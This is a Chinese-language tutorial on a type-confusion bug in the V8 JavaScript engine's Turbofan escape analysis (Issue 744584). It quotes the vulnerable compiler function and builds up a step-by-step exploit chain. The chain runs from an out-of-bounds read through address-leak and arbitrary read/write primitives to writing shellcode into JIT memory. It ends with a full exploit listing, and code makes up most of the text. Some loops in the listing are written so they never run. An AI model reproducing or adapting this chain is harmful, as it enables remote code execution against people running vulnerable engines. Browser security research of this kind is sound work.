V8引擎远程代码执行漏洞分析与利用教学文档

漏洞概述

本漏洞是V8 JavaScript引擎中的一个类型混淆漏洞，存在于Turbofan JIT编译器的逃逸分析(Escape Analysis)阶段。该漏洞允许攻击者绕过数组边界检查，实现越界读写，最终导致远程代码执行。

漏洞背景

• 漏洞编号: Issue 744584
• 发现方式: 由开发人员Marco Giovannini在修复应用程序崩溃时偶然发现
• 影响版本: V8 6.2.0及之前版本
• 漏洞位置: VirtualObject::MergeFields函数

漏洞分析

逃逸分析(Escape Analysis)

逃逸分析是编译器优化技术，用于确定对象是否逃逸出函数作用域。如果对象未逃逸，V8可以将其优化为局部变量或完全消除。

漏洞根源

漏洞位于VirtualObject::MergeFields函数中，该函数错误地计算了类型，导致攻击者控制的值类型与编译函数期望的类型不匹配。

bool VirtualObject::MergeFields(size_t i, Node* at, MergeCache* cache, 
                              Graph* graph, CommonOperatorBuilder* common) {
  bool changed = false;
  int value_input_count = static_cast<int>(cache->fields().size());
  Node* rep = GetField(i);
  if (!rep || !IsCreatedPhi(i)) {
    Type* phi_type = Type::None();
    for (Node* input : cache->fields()) {
      CHECK_NOT_NULL(input);
      CHECK(!input->IsDead());
      Type* input_type = NodeProperties::GetType(input);
      phi_type = Type::Union(phi_type, input_type, graph->zone());
    }
    // 漏洞: 错误计算类型导致类型混淆
    Node* phi = graph->NewNode(
        common->Phi(MachineRepresentation::kTagged, value_input_count),
        value_input_count + 1, &cache->fields().front());
    NodeProperties::SetType(phi, phi_type);
    SetField(i, phi, true);
  }
  // ...
}

触发条件

漏洞在以下情况下触发：

1. 函数被Turbofan JIT优化
2. 逃逸分析阶段错误计算类型
3. 简化降低(Simplified Lowering)阶段错误移除边界检查

漏洞利用步骤

1. 创建越界读取原语

function f(x) {
  var o = {a: 0};
  var l = [1.1, 2.2, 3.3, 4.4];
  var res;
  for (var i = 0; i < 3; ++i) {
    if (x % 2 == 0) {
      o.a = 1;
      b = false;
    }
    res = l[o.a];
    o.a = x;
  }
  return res;
}

f(0); f(1);
for (i = 0; i < 100000; i++) { f(1); }
print(f(101));  // 越界读取

2. 定位相邻数组

var l = [1.1, 2.2, 3.3, 4.4];
var oob_array = new Array(20);
oob_array[0] = 5.5;
oob_array[1] = 6.6;

3. 覆盖数组长度

initial_oob_array[o.a] = 1.39064994160909e-309;  // 65535的double表示
o.a = x;

4. 构建地址泄露原语

function addr_of(obj) {
  elements_array[0] = obj;
  return Int64.fromDouble(oob_array[elements_offset]);
}

5. 构建任意读写原语

function read_64(addr) {
  oob_array[array_buffer_backing_store_offset] = new Int64(addr).to_double();
  let accessor = new Uint32Array(arb_rw_arraybuffer);
  return new Int64(undefined, accessor[1], accessor[0]);
}

function write_64(addr, value) {
  oob_array[array_buffer_backing_store_offset] = new Int64(addr).to_double();
  let accessor = new Uint32Array(arb_rw_arraybuffer);
  accessor[0] = value.low;
  accessor[1] = value.high;
}

6. 执行Shellcode

// 1. JIT编译一个函数
function jitme(val) { return val + 1; }
for (i = 0; i > 100000; i++) { jitme(1); }

// 2. 获取JIT代码地址
jitted_function_ptr = addr_of(jitme);
let JIT_ptr = read_64(jitted_function_ptr.add(0x38 - 1));

// 3. 写入shellcode
oob_array[shellcode_array_buffer_backing_store_offset] = JIT_ptr.to_double();
let shell_code_writer = new Uint8Array(shellcode_array_buffer);
shell_code_writer.set(SHELLCODE);

// 4. 执行
jitme();

完整利用代码

// 加载Int64库
load('/path/to/int64.js');

function f(x) {
  var o = {a: 0, b: 0};
  var initial_oob_array = [1.1, 2.2, 3.3, 4.4];
  oob_array = new Array(20);
  oob_array[0] = 5.5;
  oob_array[1] = 6.6;
  elements_array = [1337, {}, {}];
  double_array = [1.337, 10.5, 10.5];
  arb_rw_arraybuffer = new ArrayBuffer(0x200);
  shellcode_array_buffer = new ArrayBuffer(0x5421);
  var res;
  
  for (var i = 0; i < 3; ++i) {
    if (i > 2) {
      if (x % 2 == 0) { o.a = 1; }
    }
    if (i == 0) {
      if (x % 2 == 0) { o.a = 1; }
    }
    initial_oob_array[o.a] = 1.39064994160909e-309;
    o.a = x;
  }
  return res;
}

// 触发JIT优化
f(0); f(1); f(0); f(1);
for (i = 0; i < 100000; i++) { f(1); }

// 查找偏移量
function find_offset_smi(val) {
  for (i = 0; i < 5000; i++) {
    if (oob_array[i] == new Int64(val).V8_to_SMI().to_double()) {
      return i;
    }
  }
}

function find_offset_double(val) {
  for (i = 0; i < 5000; i++) {
    if (oob_array[i] == val) {
      return i;
    }
  }
}

// 地址泄露原语
function addr_of(obj) {
  elements_array[0] = obj;
  return Int64.fromDouble(oob_array[elements_offset]);
}

// 任意读写原语
function read_64(addr) {
  oob_array[array_buffer_backing_store_offset] = new Int64(addr).to_double();
  let accessor = new Uint32Array(arb_rw_arraybuffer);
  return new Int64(undefined, accessor[1], accessor[0]);
}

function write_64(addr, value) {
  oob_array[array_buffer_backing_store_offset] = new Int64(addr).to_double();
  let accessor = new Uint32Array(arb_rw_arraybuffer);
  accessor[0] = value.low;
  accessor[1] = value.high;
}

// 查找关键偏移量
elements_offset = find_offset_smi(1337);
array_buffer_backing_store_offset = find_offset_smi(0x200);
array_buffer_backing_store_offset++;
shellcode_array_buffer_backing_store_offset = find_offset_smi(0x5421);
shellcode_array_buffer_backing_store_offset++;

// JIT编译目标函数
function jitme(val) { return val + 1; }
for (i = 0; i > 100000; i++) { jitme(1); }

// 获取JIT代码地址
jitted_function_ptr = addr_of(jitme);
let JIT_ptr = read_64(jitted_function_ptr.add(0x38 - 1));

// 写入并执行shellcode
const SHELLCODE = [ /* 你的shellcode */ ];
oob_array[shellcode_array_buffer_backing_store_offset] = JIT_ptr.to_double();
let shell_code_writer = new Uint8Array(shellcode_array_buffer);
shell_code_writer.set(SHELLCODE);
jitme();

缓解措施

1. 更新到修复了该漏洞的V8版本
2. 启用W^X保护(写或执行)
3. 使用V8的指针压缩和沙箱功能

总结

该漏洞展示了V8引擎中类型混淆如何导致严重的远程代码执行漏洞。通过精心构造的JavaScript代码，攻击者可以：

1. 触发JIT优化中的类型混淆
2. 绕过数组边界检查
3. 构建任意读写原语
4. 最终执行任意代码

理解此类漏洞对于浏览器安全研究和漏洞防御至关重要。